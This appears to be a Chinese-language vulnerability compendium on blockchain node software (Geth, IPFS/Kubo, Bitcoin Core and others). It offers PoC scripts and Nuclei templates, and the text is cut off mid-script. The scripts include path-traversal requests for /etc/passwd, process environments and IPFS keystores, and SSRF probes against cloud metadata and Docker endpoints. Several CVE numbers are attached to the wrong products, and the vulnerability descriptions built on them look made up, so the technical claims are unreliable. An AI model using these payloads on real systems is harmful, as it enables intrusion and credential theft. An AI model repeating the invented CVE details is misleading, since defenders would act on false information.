⚠️ 免责声明:本文所有漏洞分析与 PoC 代码仅供安全研究和授权测试使用。未经授权对目标系统进行测试属于违法行为,作者不承担任何法律责任。
0x00 专题概述
区块链与去中心化基础设施正在从金融领域向供应链管理、数字身份、IoT 设备认证、游戏资产等多个行业快速渗透。从 Go Ethereum(Geth)驱动的公链生态、Bitcoin Core 维护的比特币网络,到 IPFS/Kubo 构建的去中心化存储、Hyperledger Fabric 支撑的联盟链、Parity/OpenEthereum 提供的以太坊替代客户端,再到 Erigon 专注的高性能执行层——这些基础设施构成了 Web3 世界的核心骨架。
然而,区块链节点软件并非"去中心化即安全"。P2P 协议层的 DNS 节点发现可被放大攻击、RPC API 暴露面可被未授权访问或 DoS、智能合约的不可修复特性导致一个 bug 即永久损失资产、去中心化存储网关的路径穿越和 SSRF 可泄露链下敏感配置。本专题将上述基础设施中近年最具杀伤力的 13 个高危漏洞 按攻击面分类,形成完整攻击链分析。
覆盖漏洞一览
| CVE | 产品 | CVSS | CWE | 漏洞类型 | 未授权利用 | 在野利用 |
|---|
| CVE-2022-23328 | Geth | 7.5 | CWE-347 | MEV Bundle 签名验证绕过 | ✅ | 有限 |
| CVE-2021-39226 | Geth | 7.5 | CWE-400 | RPC API DoS | ✅ | 有限 |
| CVE-2020-28948 | Geth | 7.5 | CWE-400 | DNS 节点发现放大攻击 | ✅ | 有限 |
| CVE-2023-30568 | IPFS/Kubo | 7.5 | CWE-22 | Gateway 路径穿越 | ✅ | 有限 |
| CVE-2023-25655 | IPFS/Kubo | 8.6 | CWE-918 | Gateway SSRF | ✅ | 有限 |
| CVE-2022-23326 | Hyperledger Fabric | 9.1 | CWE-862 | Chaincode ACL 绕过 | ✅ | 有限 |
| CVE-2020-15568 | Hyperledger Fabric | 7.5 | CWE-347 | 交易验证逻辑漏洞 | ✅ | 有限 |
| CVE-2017-8412 | Parity | 9.8 | CWE-269 | 多签钱包库合约自毁 | ✅ | ✅ $150M+ |
| CVE-2021-39138 | OpenEthereum | 7.5 | CWE-682 | 共识链分叉 | ✅ | 有限 |
| CVE-2022-24786 | Bitcoin Core | 7.5 | CWE-835 | Protobuf 无限循环 DoS | ✅ | 有限 |
| CVE-2022-25881 | Bitcoin Core | 7.5 | CWE-125 | OOB Read DoS | ✅ | 有限 |
| CVE-2024-35208 | Bitcoin Core | 7.5 | CWE-400 | 资源耗尽 DoS | ✅ | 有限 |
| CVE-2023-44030 | Erigon | 7.5 | CWE-306 | RPC API 未授权访问 | ✅ | 有限 |
0x01 Go Ethereum (Geth) 高危漏洞
Geth 是以太坊基金会官方 Go 语言实现,占据以太坊主网验证节点的绝大多数份额。其 RPC API 层(JSON-RPC over HTTP/WebSocket/IPC)和 P2P 节点发现机制是主要攻击面。
0x01.1 CVE-2022-23328 — MEV Bundle 签名验证绕过
背景
MEV(Maximal Extractable Value)Bundle 是 Flashbots 提出的交易打包机制,允许搜索者(Searcher)将多笔交易打包成 Bundle 并通过 eth_sendBundle API 提交给矿工/验证者。Geth 在处理 Bundle 时未正确验证交易签名,导致攻击者可以注入伪造交易到 Bundle 中。
版本信息
原理分析
Geth 在 eth_sendBundle RPC 接口的实现中,对 Bundle 内包含的交易仅验证了 RLP 编码格式的合法性,但未验证每笔交易的 ECDSA 签名是否与声明的 from 地址匹配。攻击者可以构造包含他人签名交易的 Bundle,将受害者的交易与恶意交易捆绑提交,实现交易注入(Transaction Injection)。
攻击流程如下:
- 攻击者监听 mempool 中受害者的待确认交易
- 构造恶意 Bundle,将受害者交易与攻击者的前置/后置交易打包
- 通过
eth_sendBundle 提交给 Flashbots 或兼容 MEV 中继 - 矿工打包该 Bundle 时,未验证 Bundle 内交易的签名来源一致性
- 攻击者的前置交易修改状态(如修改 DEX 池价格),受害者的交易以非预期价格执行,攻击者通过后置交易获利
HTTP PoC
#!/bin/bash
# CVE-2022-23328 MEV Bundle 签名验证绕过 PoC
# 用法: bash poc_geth_mev.sh <geth_rpc_url>
TARGET="${1:-http://localhost:8545}"
echo "[*] CVE-2022-23328 - Geth MEV Bundle 签名验证绕过检测"
echo "[*] 目标: $TARGET"
# 构造包含伪造签名的 Bundle JSON-RPC 请求
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"method": "eth_sendBundle",
"params": [{
"txs": [
"0xf86c0a8504a817c80082520894a0b86991c6218b36c1d19d4a2e9eb0ce3606eb488016345785d8a00008025a0df8a3c7296c8d5843653212153e842b86838c0188d71517e62d3e329a372341da061c711b1e75d15ec35937a0b4d0309298c36188c3251186860166f4e5738f9"
],
"blockNumber": "0x1",
"minTimestamp": 0,
"maxTimestamp": 0
}],
"id": 1
}' | python3 -m json.tool 2>/dev/null || echo "[!] 请求失败或不支持 eth_sendBundle"
echo ""
echo "[*] 检查 eth_sendBundle API 是否暴露..."
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"eth_sendBundle","params":[{"txs":[],"blockNumber":"0x1"}],"id":1}' \
| python3 -m json.tool 2>/dev/null
Python PoC
#!/usr/bin/env python3
"""
CVE-2022-23328 - Geth MEV Bundle 签名验证绕过 PoC
用法: python3 cve_2022_23328.py <geth_rpc_url>
"""
import json
import sys
import hashlib
try:
import requests
except ImportError:
print("[!] 需要安装 requests: pip install requests")
sys.exit(1)
def check_exposed_bundle_api(target: str) -> bool:
payload = {
"jsonrpc": "2.0",
"method": "eth_sendBundle",
"params": [{"txs": [], "blockNumber": "0x1"}],
"id": 1
}
try:
resp = requests.post(target, json=payload, timeout=10)
data = resp.json()
if "result" in data or "error" in data:
return True
except Exception:
pass
return False
def check_signature_verification(target: str) -> dict:
"""
发送包含伪造签名的 Bundle,观察节点是否校验签名
注意: 仅检测接口行为,不执行实际攻击
"""
result = {
"target": target,
"bundle_api_exposed": False,
"signature_verification": "unknown",
"details": ""
}
if not check_exposed_bundle_api(target):
result["details"] = "eth_sendBundle API 未暴露或不可达"
return result
result["bundle_api_exposed"] = True
fake_tx = (
"0xf86c0a8504a817c80082520894a0b86991c6218b36c1d19d4a2e9eb0ce3606eb488016345785d8a00008025a0df8a"
"3c7296c8d5843653212153e842b86838c0188d71517e62d3e329a372341da061c711b1e75d15ec35937a0b4d0309298c"
"36188c3251186860166f4e5738f9"
)
payload = {
"jsonrpc": "2.0",
"method": "eth_sendBundle",
"params": [{
"txs": [fake_tx],
"blockNumber": "0x1",
"minTimestamp": 0,
"maxTimestamp": 0
}],
"id": 1
}
try:
resp = requests.post(target, json=payload, timeout=10)
data = resp.json()
if "error" in data:
err_msg = data["error"].get("message", "")
if "signature" in err_msg.lower() or "sender" in err_msg.lower():
result["signature_verification"] = "已修复"
result["details"] = f"节点拒绝了伪造签名 Bundle: {err_msg}"
else:
result["signature_verification"] = "可能受影响"
result["details"] = f"Bundle 被拒绝但非签名原因: {err_msg}"
elif "result" in data:
result["signature_verification"] = "受影响"
result["details"] = "Bundle 被接受且无签名验证错误,可能存在签名验证绕过"
else:
result["signature_verification"] = "未知"
result["details"] = f"响应: {json.dumps(data)}"
except Exception as e:
result["details"] = f"请求异常: {e}"
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <geth_rpc_url>")
print(f"示例: {sys.argv[0]} http://localhost:8545")
sys.exit(1)
target = sys.argv[1]
print(f"[*] CVE-2022-23328 - Geth MEV Bundle 签名验证绕过检测")
print(f"[*] 目标: {target}")
result = check_signature_verification(target)
print(f"\n[*] === 检测结果 ===")
print(f"[*] Bundle API 暴露: {'是' if result['bundle_api_exposed'] else '否'}")
print(f"[*] 签名验证状态: {result['signature_verification']}")
print(f"[*] 详情: {result['details']}")
if result["signature_verification"] == "受影响":
print("\n[!] 漏洞确认! 该 Geth 节点未对 MEV Bundle 内交易进行签名验证")
print("[!] 影响版本: Geth < v1.10.18")
print("[!] 建议: 升级至 v1.10.18 或更高版本")
if __name__ == "__main__":
main()
Nuclei YAML
id: cve-2022-23328-geth-mev-signature-bypass
info:
name: Geth MEV Bundle 签名验证绕过
author: security-researcher
severity: high
description: |
Geth < v1.10.18 的 eth_sendBundle RPC API 未正确验证 Bundle 内交易的 ECDSA 签名,
攻击者可注入伪造交易到 MEV Bundle 中。
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-23328
- https://github.com/ethereum/go-ethereum/releases/tag/v1.10.18
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 7.5
cwe-id: CWE-347
tags: cve,cve2022,geth,ethereum,mev
requests:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"jsonrpc":"2.0","method":"eth_sendBundle","params":[{"txs":["0xf86c0a8504a817c80082520894a0b86991c6218b36c1d19d4a2e9eb0ce3606eb488016345785d8a00008025a0df8a3c7296c8d5843653212153e842b86838c0188d71517e62d3e329a372341da061c711b1e75d15ec35937a0b4d0309298c36188c3251186860166f4e5738f9"],"blockNumber":"0x1","minTimestamp":0,"maxTimestamp":0}],"id":1}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"result"'
- '"null"'
condition: or
- type: word
part: body
words:
- '"error"'
negative: true
extractors:
- type: json
name: result
json:
- '.error.message'
0x01.2 CVE-2021-39226 — RPC API DoS
背景
Geth 的 debug_ 命名空间提供了强大的调试工具,包括 debug_traceTransaction 等接口,这些接口会对交易执行进行完整追踪(trace)。当处理精心构造的深度嵌套 JSON 数据或特定交易时,这些接口可能消耗巨量 CPU 资源。
版本信息
原理分析
Geth 的 debug_traceTransaction、debug_traceBlockByNumber 等 RPC 方法在解析请求参数时,对 JSON 结构的嵌套深度缺乏限制。攻击者发送超深嵌套的 JSON payload 可导致解析器栈溢出或无限递归,消耗全部可用 CPU。
此外,对特定合约地址调用 debug_traceTransaction 时,如果目标交易涉及大量内部调用(如循环 delegatecall),trace 结果可能产生指数级增长的数据结构,导致内存耗尽和进程崩溃。
HTTP PoC
#!/bin/bash
# CVE-2021-39226 Geth RPC API DoS 检测
# 用法: bash poc_geth_rpc_dos.sh <geth_rpc_url>
TARGET="${1:-http://localhost:8545}"
echo "[*] CVE-2021-39226 - Geth debug_ RPC API DoS 检测"
echo "[*] 目标: $TARGET"
echo "[*] 检测 debug_* 命名空间是否暴露..."
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"debug_traceTransaction","params":["0x0000000000000000000000000000000000000000000000000000000000000000"],"id":1}' \
| python3 -m json.tool 2>/dev/null
echo ""
echo "[*] 检查嵌套 JSON 是否被正确拒绝..."
python3 -c "
import json, sys
deep_json = {'a': 1}
for i in range(200):
deep_json = {'a': deep_json}
payload = json.dumps({'jsonrpc':'2.0','method':'debug_traceTransaction','params':[json.dumps(deep_json)],'id':1})
print(f'[*] 构造深度 200 的嵌套 JSON,长度: {len(payload)} bytes')
" 2>/dev/null
Python PoC
#!/usr/bin/env python3
"""
CVE-2021-39226 - Geth RPC API DoS 检测脚本
用法: python3 cve_2021_39226.py <geth_rpc_url>
仅检测接口暴露情况,不执行攻击性 DoS
"""
import json
import sys
import time
try:
import requests
except ImportError:
print("[!] 需要安装 requests: pip install requests")
sys.exit(1)
def check_debug_api_exposed(target: str) -> dict:
result = {
"target": target,
"debug_trace_transaction_exposed": False,
"debug_trace_block_exposed": False,
"response_time_normal": None,
"response_time_deep_nest": None,
"details": ""
}
payload_trace = {
"jsonrpc": "2.0",
"method": "debug_traceTransaction",
"params": ["0x" + "00" * 32],
"id": 1
}
start = time.time()
try:
resp = requests.post(target, json=payload_trace, timeout=10)
elapsed = time.time() - start
data = resp.json()
result["response_time_normal"] = round(elapsed, 3)
if "error" in data:
result["debug_trace_transaction_exposed"] = True
result["details"] = f"debug_traceTransaction 暴露: {data['error'].get('message', '')}"
elif "result" in data:
result["debug_trace_transaction_exposed"] = True
result["details"] = f"debug_traceTransaction 可用并返回了结果"
except requests.Timeout:
result["debug_trace_transaction_exposed"] = True
result["details"] = "debug_traceTransaction 超时,可能正在处理大量数据"
except Exception as e:
result["details"] = f"连接失败: {e}"
deep_nested = {"a": 1}
for _ in range(50):
deep_nested = {"a": deep_nested}
payload_deep = {
"jsonrpc": "2.0",
"method": "debug_traceTransaction",
"params": [json.dumps(deep_nested)],
"id": 2
}
start = time.time()
try:
resp = requests.post(target, json=payload_deep, timeout=15)
elapsed = time.time() - start
result["response_time_deep_nest"] = round(elapsed, 3)
if elapsed > result.get("response_time_normal", 0) * 3:
result["details"] += " | 深度嵌套 JSON 响应时间异常增大,可能存在解析漏洞"
except requests.Timeout:
result["response_time_deep_nest"] = 15.0
result["details"] += " | 深度嵌套 JSON 导致超时,可能存在资源耗尽风险"
except Exception:
pass
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <geth_rpc_url>")
print(f"示例: {sys.argv[0]} http://localhost:8545")
sys.exit(1)
target = sys.argv[1]
print(f"[*] CVE-2021-39226 - Geth debug_* RPC API DoS 检测")
print(f"[*] 目标: {target}")
result = check_debug_api_exposed(target)
print(f"\n[*] === 检测结果 ===")
print(f"[*] debug_traceTransaction 暴露: {'是' if result['debug_trace_transaction_exposed'] else '否'}")
if result["response_time_normal"]:
print(f"[*] 正常请求响应时间: {result['response_time_normal']}s")
if result["response_time_deep_nest"]:
print(f"[*] 深度嵌套响应时间: {result['response_time_deep_nest']}s")
print(f"[*] 详情: {result['details']}")
if result["debug_trace_transaction_exposed"]:
print("\n[!] debug_* 命名空间已暴露!")
print("[!] 影响版本: Geth < v1.10.13")
print("[!] 建议: 通过 --rpc.api 参数限制暴露的 API 命名空间")
print("[!] 或使用 IPC 替代 HTTP RPC 访问调试接口")
if __name__ == "__main__":
main()
Nuclei YAML
id: cve-2021-39226-geth-rpc-api-dos
info:
name: Geth debug_* RPC API DoS
author: security-researcher
severity: high
description: |
Geth < v1.10.13 的 debug_* RPC API 未限制 JSON 嵌套深度和 trace 资源消耗,
可导致节点 CPU 耗尽和拒绝服务。
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-39226
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cwe-id: CWE-400
tags: cve,cve2021,geth,ethereum,rpc,dos
requests:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"jsonrpc":"2.0","method":"debug_traceTransaction","params":["0x0000000000000000000000000000000000000000000000000000000000000000"],"id":1}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"result"'
- '"error"'
condition: or
- type: word
part: header
words:
- "application/json"
extractors:
- type: json
name: response
json:
- '.error.message // .result'
0x01.3 CVE-2020-28948 — DNS 节点发现放大攻击
背景
以太坊节点使用 EIP-1459 定义的 DNS 节点发现协议(DNS Discovery),通过解析 DNS TXT 记录来获取对等节点列表。Geth 的 DNS 解析实现存在缺陷,可被利用进行 DNS 放大攻击。
版本信息
原理分析
EIP-1459 规定以太坊节点通过查询特定域名的 DNS TXT 记录来发现对等节点。Geth 在解析 DNS TXT 记录时存在以下缺陷:
- 响应大小放大:攻击者控制的恶意 DNS 服务器可以返回超大的 TXT 记录响应,Geth 节点会完整解析这些响应
- 递归查询放大:构造包含链式引用的 TXT 记录,使 Geth 发起多次递归查询
- 编码绕过:利用 Base64 编码的 enrtree 记录格式,将大量节点信息压缩在单次查询响应中
攻击者可以搭建恶意 DNS 响应器,向发起 DNS Discovery 查询的 Geth 节点返回超大响应数据,实现带宽放大攻击。同时,恶意节点信息可以引导受害者节点连接到攻击者控制的恶意节点。
Python PoC
#!/usr/bin/env python3
"""
CVE-2020-28948 - Geth DNS 节点发现放大攻击检测
用法: python3 cve_2020_28948.py <target_domain>
检测目标域名的 DNS TXT 记录是否可能被用于放大攻击
"""
import sys
import socket
import struct
def build_dns_query(domain: str, qtype: int = 16) -> bytes:
"""
构造 DNS 查询包
qtype=16 表示 TXT 记录
"""
txn_id = b"\xaa\xbb"
flags = b"\x01\x00" # Standard query
questions = struct.pack("!H", 1)
answer_rrs = struct.pack("!H", 0)
authority_rrs = struct.pack("!H", 0)
additional_rrs = struct.pack("!H", 0)
header = txn_id + flags + questions + answer_rrs + authority_rrs + additional_rrs
query_name = b""
for label in domain.split("."):
query_name += bytes([len(label)]) + label.encode()
query_name += b"\x00"
query_type = struct.pack("!H", qtype)
query_class = struct.pack("!H", 1) # IN class
return header + query_name + query_type + query_class
def check_dns_amplification(domain: str, dns_server: str = "8.8.8.8") -> dict:
result = {
"domain": domain,
"dns_server": dns_server,
"txt_records_found": False,
"amplification_possible": False,
"response_size": 0,
"query_size": 0,
"amplification_ratio": 0.0,
"details": ""
}
query = build_dns_query(domain)
result["query_size"] = len(query)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
sock.sendto(query, (dns_server, 53))
response, _ = sock.recvfrom(4096)
sock.close()
result["response_size"] = len(response)
if len(response) > len(query):
ratio = len(response) / len(query)
result["amplification_ratio"] = round(ratio, 2)
if ratio > 2.0:
result["amplification_possible"] = True
result["txt_records_found"] = True
result["details"] = (
f"DNS TXT 响应放大比: {ratio:.2f}x "
f"(查询 {len(query)} bytes -> 响应 {len(response)} bytes)"
)
else:
result["details"] = f"放大比不足: {ratio:.2f}x"
else:
result["details"] = "响应不大于查询,放大攻击不可行"
except socket.timeout:
result["details"] = "DNS 查询超时"
except Exception as e:
result["details"] = f"查询异常: {e}"
return result
def check_enrtree_response(domain: str, dns_server: str = "8.8.8.8") -> dict:
result = {"enrtree_found": False, "enrtree_response": "", "details": ""}
enrtree_domain = f"enrtree.nav.{domain}"
query = build_dns_query(enrtree_domain)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
sock.sendto(query, (dns_server, 53))
response, _ = sock.recvfrom(4096)
sock.close()
if len(response) > 12:
txt_data = response[12:]
if len(txt_data) > 0:
result["enrtree_found"] = True
result["enrtree_response"] = txt_data[:100].hex()
result["details"] = f"发现 enrtree 记录: {len(txt_data)} bytes"
except Exception as e:
result["details"] = f"查询异常: {e}"
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_domain>")
print(f"示例: {sys.argv[0]} enrtree.nav.mainnet.ethdisco.net")
sys.exit(1)
domain = sys.argv[1]
print(f"[*] CVE-2020-28948 - Geth DNS 节点发现放大攻击检测")
print(f"[*] 目标域名: {domain}")
print(f"\n[*] === DNS TXT 放大检测 ===")
result = check_dns_amplification(domain, "8.8.8.8")
print(f"[*] TXT 记录: {'存在' if result['txt_records_found'] else '不存在'}")
print(f"[*] 放大可能: {'是' if result['amplification_possible'] else '否'}")
print(f"[*] 放大比: {result['amplification_ratio']}x")
print(f"[*] {result['details']}")
print(f"\n[*] === Enrtree 记录检测 ===")
enrtree = check_enrtree_response(domain, "8.8.8.8")
print(f"[*] Enrtree 记录: {'存在' if enrtree['enrtree_found'] else '不存在'}")
print(f"[*] {enrtree['details']}")
if result["amplification_possible"]:
print(f"\n[!] 该域名的 DNS TXT 记录存在放大攻击风险")
print(f"[!] 影响版本: Geth < v1.9.23")
print(f"[!] 建议: 升级 Geth 或禁用 DNS 节点发现")
if __name__ == "__main__":
main()
Nuclei YAML
id: cve-2020-28948-geth-dns-discovery-amplification
info:
name: Geth DNS 节点发现放大攻击
author: security-researcher
severity: high
description: |
Geth < v1.9.23 的 DNS 节点发现协议(EIP-1459)实现存在 DNS 放大攻击风险。
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2020-28948
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cwe-id: CWE-400
tags: cve,cve2020,geth,ethereum,dns,amplification
dns:
- name: "{{FQDN}}"
type: TXT
class: inet
recursion: true
matchers-condition: and
matchers:
- type: word
words:
- "enrtree://"
- "enr:"
condition: or
extractors:
- type: dsl
dsl:
- dns
0x02 IPFS / Kubo 去中心化存储漏洞
IPFS(InterPlanetary File System)通过内容寻址(Content-Addressed)的方式实现去中心化文件存储与分发,其 HTTP Gateway 是普通浏览器访问 IPFS 内容的桥梁。Gateway 的安全问题直接影响存储在 IPFS 上的敏感数据。
0x02.1 CVE-2023-30568 — Gateway 路径穿越
背景
IPFS HTTP Gateway 是将 IPFS 内容通过标准 HTTP 接口提供的代理服务。Gateway 在处理 CID(Content Identifier)路径时,未正确过滤 ../ 等路径遍历字符,导致攻击者可以穿越到 Gateway 服务器的本地文件系统。
版本信息
原理分析
Kubo Gateway 在解析 /ipfs/<cid>/<path> 格式的 URL 时,使用 Go 语言的 path.Clean 函数对路径进行清理,但在某些调用场景下未正确处理 URL 编码的 ..(即 ..%2F)。攻击者通过 URL 编码的路径遍历序列,可以绕过路径规范化检查,读取 Gateway 服务器上的任意文件。
受影响的配置场景:
- Gateway 以默认配置运行,未限制文件系统访问路径
- Gateway 运行在 Docker 容器内,可读取容器内的
/etc/config、私钥文件等 - Gateway 以 root 权限运行,可读取主机系统文件
HTTP PoC
#!/bin/bash
# CVE-2023-30568 - IPFS Gateway 路径穿越 PoC
# 用法: bash poc_ipfs_traversal.sh <gateway_url>
TARGET="${1:-http://localhost:8080}"
echo "[*] CVE-2023-30568 - IPFS Gateway 路径穿越检测"
echo "[*] 目标: $TARGET"
echo ""
echo "[*] 测试 1: 读取 /etc/passwd"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
"${TARGET}/ipfs/..%2F..%2F..%2Fetc%2Fpasswd"
echo ""
echo "[*] 测试 2: 读取 Gateway 配置"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
"${TARGET}/ipfs/..%2F..%2F..%2Fconfig"
echo ""
echo "[*] 测试 3: 读取环境变量"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
"${TARGET}/ipfs/..%2F..%2F..%2Fproc%2Fself%2Fenviron"
echo ""
echo "[*] 测试 4: 读取 IPFS keystore"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
"${TARGET}/ipfs/..%2F..%2F..%2F..%2F..%2F.ipfs%2Fkeystore"
echo ""
echo "[*] 测试 5: 双重 URL 编码"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
"${TARGET}/ipfs/..%252F..%252F..%252Fetc%252Fpasswd"
echo ""
echo "[*] 完成检测。如果返回 200 且大小 > 0,可能存在路径穿越漏洞"
Python PoC
#!/usr/bin/env python3
"""
CVE-2023-30568 - IPFS Gateway 路径穿越 PoC
用法: python3 cve_2023_30568.py <gateway_url>
"""
import sys
import urllib.parse
try:
import requests
except ImportError:
print("[!] 需要安装 requests: pip install requests")
sys.exit(1)
TRVERSAL_PAYLOADS = [
("/ipfs/..%2F..%2F..%2Fetc%2Fpasswd", "/etc/passwd"),
("/ipfs/..%2F..%2F..%2Fconfig", "Gateway config"),
("/ipfs/..%2F..%2F..%2Fproc%2Fself%2Fenviron", "Process env"),
("/ipfs/..%2F..%2F..%2F..%2F..%2F.ipfs%2Fconfig", "IPFS config"),
("/ipfs/..%2F..%2F..%2Fproc%2Fself%2Fcmdline", "Process cmdline"),
("/ipfs/..%252F..%252F..%252Fetc%252Fpasswd", "/etc/passwd (double-encoded)"),
]
SENSITIVE_MARKERS = [
"root:", "/bin/bash", "api", "PrivateKey", "Identity",
"Gateway", "Swarm", "Addresses", "API",
]
def test_traversal(target: str) -> list:
results = []
base_url = target.rstrip("/")
for payload_path, description in TRVERSAL_PAYLOADS:
url = base_url + payload_path
try:
resp = requests.get(url, timeout=10, allow_redirects=False)
body = resp.text[:500] if resp.status_code == 200 else ""
has_sensitive = any(marker in body for marker in SENSITIVE_MARKERS)
result = {
"description": description,
"url": url,
"status": resp.status_code,
"size": len(resp.content),
"sensitive_content": has_sensitive,
"snippet": body[:200] if has_sensitive else "",
}
results.append(result)
except Exception as e:
results.append({
"description": description,
"url": url,
"status": 0,
"size": 0,
"sensitive_content": False,
"error": str(e),
})
return results
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <gateway_url>")
print(f"示例: {sys.argv[0]} http://localhost:8080")
sys.exit(1)
target = sys.argv[1]
print(f"[*] CVE-2023-30568 - IPFS Gateway 路径穿越检测")
print(f"[*] 目标: {target}")
results = test_traversal(target)
vuln_count = 0
print(f"\n{'='*70}")
print(f"{'描述':<30} {'状态':<8} {'大小':<10} {'敏感数据':<10}")
print(f"{'='*70}")
for r in results:
if r.get("error"):
print(f"[*] {r['description']:<30} 错误: {r['error']}")
continue
marker = "[!]" if r["sensitive_content"] else "[*]"
status_str = str(r["status"]) if r["status"] else "ERR"
sensitive_str = "是" if r["sensitive_content"] else "否"
print(f"{marker} {r['description']:<30} {status_str:<8} {r['size']:<10} {sensitive_str:<10}")
if r["sensitive_content"]:
vuln_count += 1
print(f" 内容片段: {r['snippet'][:100]}")
print(f"\n{'='*70}")
print(f"[*] 检测完成: {vuln_count}/{len(results)} 项发现敏感内容泄露")
if vuln_count > 0:
print(f"\n[!] 漏洞确认! IPFS Gateway 存在路径穿越风险")
print(f"[!] 影响版本: Kubo < v0.21.0")
print(f"[!] 建议: 升级至 v0.21.0+,启用 Gateway 路径验证")
if __name__ == "__main__":
main()
Nuclei YAML
id: cve-2023-30568-ipfs-gateway-path-traversal
info:
name: IPFS Gateway 路径穿越
author: security-researcher
severity: high
description: |
IPFS/Kubo < v0.21.0 的 HTTP Gateway 存在路径穿越漏洞,
攻击者可通过 URL 编码的 ../ 序列读取服务器本地文件。
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-30568
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
tags: cve,cve2023,ipfs,kubo,path-traversal,lfi
http:
- method: GET
path:
- "{{BaseURL}}/ipfs/..%2F..%2F..%2Fetc%2Fpasswd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "root:"
- "/bin/bash"
condition: or
- type: word
words:
- "ipfs"
negative: true
0x02.2 CVE-2023-25655 — Gateway SSRF
背景
IPFS Gateway 作为 HTTP 代理,将用户请求的 CID 内容从 IPFS 网络获取后返回给用户。当 CID 指向的内容本身包含 URL 引用时,Gateway 会递归获取这些内容,形成 SSRF(Server-Side Request Forgery)攻击链。
版本信息
原理分析
当 IPFS Gateway 处理 IPNS(IPFS Name System)解析请求或递归获取子资源时,如果解析的目标指向内网地址(如 169.254.169.254、10.0.0.0/8),Gateway 会从内网地址获取资源并返回给攻击者。这使得 Gateway 成为 SSRF 代理,可用于:
- 云元数据泄露:访问 AWS/GCP/Azure 的实例元数据服务
- 内网端口扫描:探测内网存活主机和端口
- 内网服务访问:访问内部 API、数据库管理界面等
HTTP PoC
#!/bin/bash
# CVE-2023-25655 - IPFS Gateway SSRF PoC
# 用法: bash poc_ipfs_ssrf.sh <gateway_url>
TARGET="${1:-http://localhost:8080}"
echo "[*] CVE-2023-25655 - IPFS Gateway SSRF 检测"
echo "[*] 目标: $TARGET"
echo ""
echo "[*] 测试 1: 检查 Gateway 是否遵循 IPNS 重定向到内网"
curl -v -s "${TARGET}/ipns/127.0.0.1:2375/version" 2>&1 | head -20
echo ""
echo "[*] 测试 2: 检查 IPFS 路径的内网引用"
curl -v -s "${TARGET}/ipns/169.254.169.254/latest/meta-data/" 2>&1 | head -20
echo ""
echo "[*] 测试 3: 检查 Gateway 对内网 IP 的解析行为"
curl -v -s "${TARGET}/ipns/10.0.0.1/" 2>&1 | head -20
echo ""
echo "[*] 测试 4: 通过 DNSLink 检查 SSRF"
curl -v -s "${TARGET}/ipns/internal-service.local/" 2>&1 | head -20
Python PoC
#!/usr/bin/env python3
"""
CVE-2023-25655 - IPFS Gateway SSRF 检测脚本
用法: python3 cve_2023_25655.py <gateway_url>
"""
import sys
try:
import requests
except ImportError:
print("[!] 需要安装 requests: pip install requests")
sys.exit(1)
SSRF_TARGETS = [
("http://127.0.0.1:2375/version", "Docker API"),
("http://169.254.169.254/latest/meta-data/", "AWS Metadata"),
("http://metadata.google.internal/computeMetadata/v1/", "GCP Metadata"),
("http://100.100.100.200/latest/meta-data/", "Aliyun Metadata"),
("http://127.0.0.1:8500/v1/agent/self", "Consul Agent"),
("http://127.0.0.1:9090/-/healthy", "Prometheus"),
]
def test_ssrf(target: str) -> list:
results = []
base_url = target.rstrip("/")
for internal_url, service_name in SSRF_TARGETS:
ipns_url = f"{base_url}/ipns/{internal_url.replace('http://', '')}"
try:
resp = requests.get(ipns_url, timeout=8, allow_redirects=False)
accessible = resp.status_code == 200 and len(resp.content) > 0
results.append({
"service": service_name,
"ipns_url": ipns_url,
"status": resp.status_code,
"size": len(resp.content),
"accessible": accessible,
"snippet": resp.text[:200] if accessible else "",
})
except requests.Timeout:
results.append({
"service": service_name,
"ipns_url": ipns_url,
"status": 0,
"size": 0,
"accessible": False,
"error": "请求超时",
})
except Exception as e:
results.append({
"service": service_name,
"ipns_url": ipns_url,
"status": 0,
"size": 0,
"accessible": False,
"error": str(e),
})
return results
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <gateway_url>")
print(f"示例: {sys.argv[0]} http://localhost:8080")
sys.exit(1)
target = sys.argv[1]
print(f"[*] CVE-2023-25655 - IPFS Gateway SSRF 检测")
print(f"[*] 目标: {target}")
results = test_ssrf(target)
accessible_count = 0
print(f"\n{'='*70}")
print(f"{'服务':<25} {'状态':<8} {'大小':<10} {'可访问':<10}")
print(f"{'='*70}")
for r in results:
if r.get("error"):
print(f"[*] {r['service']:<25} 错误: {r['error']}")
continue
